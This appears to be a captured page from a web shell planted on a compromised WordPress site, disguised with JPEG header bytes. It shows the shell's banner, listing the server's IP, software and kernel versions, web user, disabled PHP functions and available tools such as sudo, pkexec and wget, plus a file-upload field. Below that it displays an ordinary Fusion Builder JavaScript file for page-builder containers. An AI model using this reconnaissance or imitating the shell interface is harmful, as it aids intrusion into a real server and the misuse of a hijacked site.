????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.219.68.172 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/plugins/fusion-builder/js/views/ |
Upload File : |
var FusionPageBuilder = FusionPageBuilder || {}; ( function( $ ) { $( document ).ready( function() { // Builder Container View FusionPageBuilder.ContainerView = window.wp.Backbone.View.extend( { className: 'fusion_builder_container', template: FusionPageBuilder.template( $( '#fusion-builder-container-template' ).html() ), events: { 'click .fusion-builder-clone-container': 'cloneContainer', 'click .fusion-builder-remove': 'removeContainer', 'click .fusion-builder-section-add': 'addContainer', 'click .fusion-builder-toggle': 'toggleContainer', 'click .fusion-builder-settings-container': 'showSettings', 'paste .fusion-builder-section-name': 'renameContainer', 'keydown .fusion-builder-section-name': 'renameContainer', 'click .fusion-builder-save-element': 'saveElementDialog' }, initialize: function() { this.typingTimer; this.doneTypingInterval = 800; }, render: function() { this.$el.html( this.template( this.model.toJSON() ) ); if ( 'undefined' !== typeof ( this.model.attributes.params.admin_toggled ) && 'yes' === this.model.attributes.params.admin_toggled ) { this.$el.addClass( 'fusion-builder-section-folded' ); this.$el.find( 'span' ).toggleClass( 'dashicons-arrow-up' ).toggleClass( 'dashicons-arrow-down' ); } return this; }, saveElement: function( event ) { var thisEl = this.$el, elementContent = this.getContainerContent(), elementName = $( '#fusion-builder-save-element-input' ).val(), layoutsContainer = $( '#fusion-builder-layouts-sections .fusion-page-layouts' ), emptyMessage = $( '#fusion-builder-layouts-sections .fusion-empty-library-message' ); if ( event ) { event.preventDefault(); } if ( '' !== elementName ) { $.ajax( { type: 'POST', url: FusionPageBuilderApp.ajaxurl, dataType: 'json', data: { action: 'fusion_builder_save_layout', fusion_load_nonce: FusionPageBuilderApp.fusion_load_nonce, fusion_layout_name: elementName, fusion_layout_content: elementContent, fusion_layout_post_type: 'fusion_element', fusion_layout_new_cat: 'sections' }, complete: function( data ) { layoutsContainer.prepend( data.responseText ); $( '.fusion-save-element-fields' ).remove(); emptyMessage.hide(); } } ); } else { alert( fusionBuilderText.please_enter_element_name ); } }, getContainerContent: function( model, collection, options ) { var shortcode = '', $thisContainer = this.$el.find( '.fusion-builder-section-content' ); shortcode += FusionPageBuilderApp.generateElementShortcode( this.$el, true ); $thisContainer.find( '.fusion_builder_row' ).each( function() { var $thisRow = $( this ); shortcode += '[fusion_builder_row]'; $thisRow.find( '.fusion-builder-column-outer' ).each( function() { var $thisColumn = $( this ), $columnCID = $thisColumn.data( 'cid' ), $columnView = FusionPageBuilderViewManager.getView( $columnCID ); // Get column contents shortcode shortcode += $columnView.getColumnContent( $thisColumn ); } ); shortcode += '[/fusion_builder_row]'; } ); shortcode += '[/fusion_builder_container]'; return shortcode; }, saveElementDialog: function( event ) { var containerName; containerName = 'undefined' !== typeof this.model.get( 'admin_label' ) && '' !== this.model.get( 'admin_label' ) ? this.model.get( 'admin_label' ) : ''; if ( event ) { event.preventDefault(); } FusionPageBuilderApp.showLibrary(); $( '#fusion-builder-layouts-sections-trigger' ).click(); $( '#fusion-builder-layouts-sections .fusion-builder-layouts-header-element-fields' ).append( '<div class="fusion-save-element-fields"><input type="text" value="' + containerName + '" id="fusion-builder-save-element-input" class="fusion-builder-save-element-input" placeholder="' + fusionBuilderText.enter_name + '" /><a href="#" class="fusion-builder-save-column fusion-builder-element-button-save" data-element-cid="' + this.model.get( 'cid' ) + '">' + fusionBuilderText.save_section + '</a></div>' ); }, showSettings: function( event ) { var $modalView, $viewSettings = { model: this.model, collection: this.collection, attributes: { 'data-modal_view': 'element_settings' } }; if ( event ) { event.preventDefault(); } // Get settings view $modalView = new FusionPageBuilder.ModalView( $viewSettings ); // Render settings view $( 'body' ).append( $modalView.render().el ); }, addContainer: function( event ) { var elementID, defaultParams, params, value; if ( event ) { event.preventDefault(); FusionPageBuilderApp.newContainerAdded = true; } FusionPageBuilderApp.activeModal = 'container'; elementID = FusionPageBuilderViewManager.generateCid(); defaultParams = fusionAllElements.fusion_builder_container.params; params = {}; // Process default options for shortcode. _.each( defaultParams, function( param ) { if ( _.isObject( param.value ) ) { value = param.default; } else { value = param.value; } params[param.param_name] = value; if ( 'dimension' === param.type && _.isObject( param.value ) ) { _.each( param.value, function( value, name ) { params[name] = value; }); } }); this.collection.add( [ { type: 'fusion_builder_container', added: 'manually', element_type: 'fusion_builder_container', cid: elementID, params: params, view: this, created: 'auto' } ] ); FusionPageBuilderApp.activeModal = ''; }, addRow: function() { var elementID = FusionPageBuilderViewManager.generateCid(); this.collection.add( [ { type: 'fusion_builder_row', element_type: 'fusion_builder_row', added: 'manually', cid: elementID, parent: this.model.get( 'cid' ), view: this } ] ); }, cloneContainer: function( event ) { var containerAttributes, $thisContainer; if ( event ) { event.preventDefault(); } containerAttributes = $.extend( true, {}, this.model.attributes ); containerAttributes.cid = FusionPageBuilderViewManager.generateCid(); containerAttributes.created = 'manually'; containerAttributes.view = this; FusionPageBuilderApp.collection.add( containerAttributes ); $thisContainer = this.$el; // Parse rows $thisContainer.find( '.fusion-builder-row-content:not(.fusion_builder_row_inner .fusion-builder-row-content)' ).each( function() { var thisRow = $( this ), rowCID = thisRow.data( 'cid' ), // Get model from collection by cid. row = FusionPageBuilderElements.find( function( model ) { return model.get( 'cid' ) == rowCID; } ), // Clone row. rowAttributes = $.extend( true, {}, row.attributes ); rowAttributes.created = 'manually'; rowAttributes.cid = FusionPageBuilderViewManager.generateCid(); rowAttributes.parent = containerAttributes.cid; FusionPageBuilderApp.collection.add( rowAttributes ); // Parse columns thisRow.find( '.fusion-builder-column-outer' ).each( function() { // Parse column elements var thisColumn = $( this ), $columnCID = thisColumn.data( 'cid' ), // Get model from collection by cid column = FusionPageBuilderElements.find( function( model ) { return model.get( 'cid' ) == $columnCID; } ), // Clone column columnAttributes = $.extend( true, {}, column.attributes ); columnAttributes.created = 'manually'; columnAttributes.cid = FusionPageBuilderViewManager.generateCid(); columnAttributes.parent = rowAttributes.cid; columnAttributes.from = 'fusion_builder_container'; FusionPageBuilderApp.collection.add( columnAttributes ); // Find column elements thisColumn.children( '.fusion_module_block, .fusion_builder_row_inner' ).each( function() { var thisElement, elementCID, element, elementAttributes, thisInnerRow, InnerRowCID, innerRowView; // Regular element if ( $( this ).hasClass( 'fusion_module_block' ) ) { thisElement = $( this ); elementCID = thisElement.data( 'cid' ); // Get model from collection by cid element = FusionPageBuilderElements.find( function( model ) { return model.get( 'cid' ) == elementCID; } ); // Clone model attritubes elementAttributes = $.extend( true, {}, element.attributes ); elementAttributes.created = 'manually'; elementAttributes.cid = FusionPageBuilderViewManager.generateCid(); elementAttributes.parent = columnAttributes.cid; elementAttributes.from = 'fusion_builder_container'; FusionPageBuilderApp.collection.add( elementAttributes ); // Inner row element } else if ( $( this ).hasClass( 'fusion_builder_row_inner' ) ) { thisInnerRow = $( this ); InnerRowCID = thisInnerRow.data( 'cid' ); innerRowView = FusionPageBuilderViewManager.getView( InnerRowCID ); // Clone inner row if ( 'undefined' !== typeof innerRowView ) { innerRowView.cloneNestedRow( '', columnAttributes.cid ); } } } ); } ); } ); // Save history state fusionHistoryManager.turnOnTracking(); fusionHistoryState = fusionBuilderText.cloned_section; FusionPageBuilderEvents.trigger( 'fusion-element-cloned' ); }, removeContainer: function( event ) { var rows; if ( event ) { event.preventDefault(); } rows = FusionPageBuilderViewManager.getChildViews( this.model.get( 'cid' ) ); _.each( rows, function( row ) { if ( 'fusion_builder_row' === row.model.get( 'type' ) ) { row.removeRow(); } } ); if ( FusionPageBuilderViewManager.countElementsByType( 'fusion_builder_container' ) > 1 ) { // If the only container is deleted show blank page layout } else { FusionPageBuilderApp.blankPage = true; } FusionPageBuilderViewManager.removeView( this.model.get( 'cid' ) ); this.model.destroy(); this.remove(); if ( true === FusionPageBuilderApp.blankPage ) { FusionPageBuilderApp.clearBuilderLayout( true ); return; } if ( event ) { // Save history state fusionHistoryManager.turnOnTracking(); fusionHistoryState = fusionBuilderText.deleted_section; FusionPageBuilderEvents.trigger( 'fusion-element-removed' ); } }, toggleContainer: function( event ) { var thisEl = $( event.currentTarget ); if ( event ) { event.preventDefault(); } this.$el.toggleClass( 'fusion-builder-section-folded' ); thisEl.find( 'span' ).toggleClass( 'dashicons-arrow-up' ).toggleClass( 'dashicons-arrow-down' ); if ( this.$el.hasClass( 'fusion-builder-section-folded' ) ) { this.model.attributes.params.admin_toggled = 'yes'; } else { this.model.attributes.params.admin_toggled = 'no'; } FusionPageBuilderEvents.trigger( 'fusion-element-edited' ); }, renameContainer: function( event ) { // Detect "enter" key var code, model, input; code = event.keyCode || event.which; if ( 13 == code ) { event.preventDefault(); this.$el.find( '.fusion-builder-section-name' ).blur(); return false; } model = this.model; input = this.$el.find( '.fusion-builder-section-name' ); clearTimeout( this.typingTimer ); this.typingTimer = setTimeout( function() { model.attributes.params.admin_label = input.val(); FusionPageBuilderEvents.trigger( 'fusion-element-edited' ); }, this.doneTypingInterval ); } } ); } ); } )( jQuery );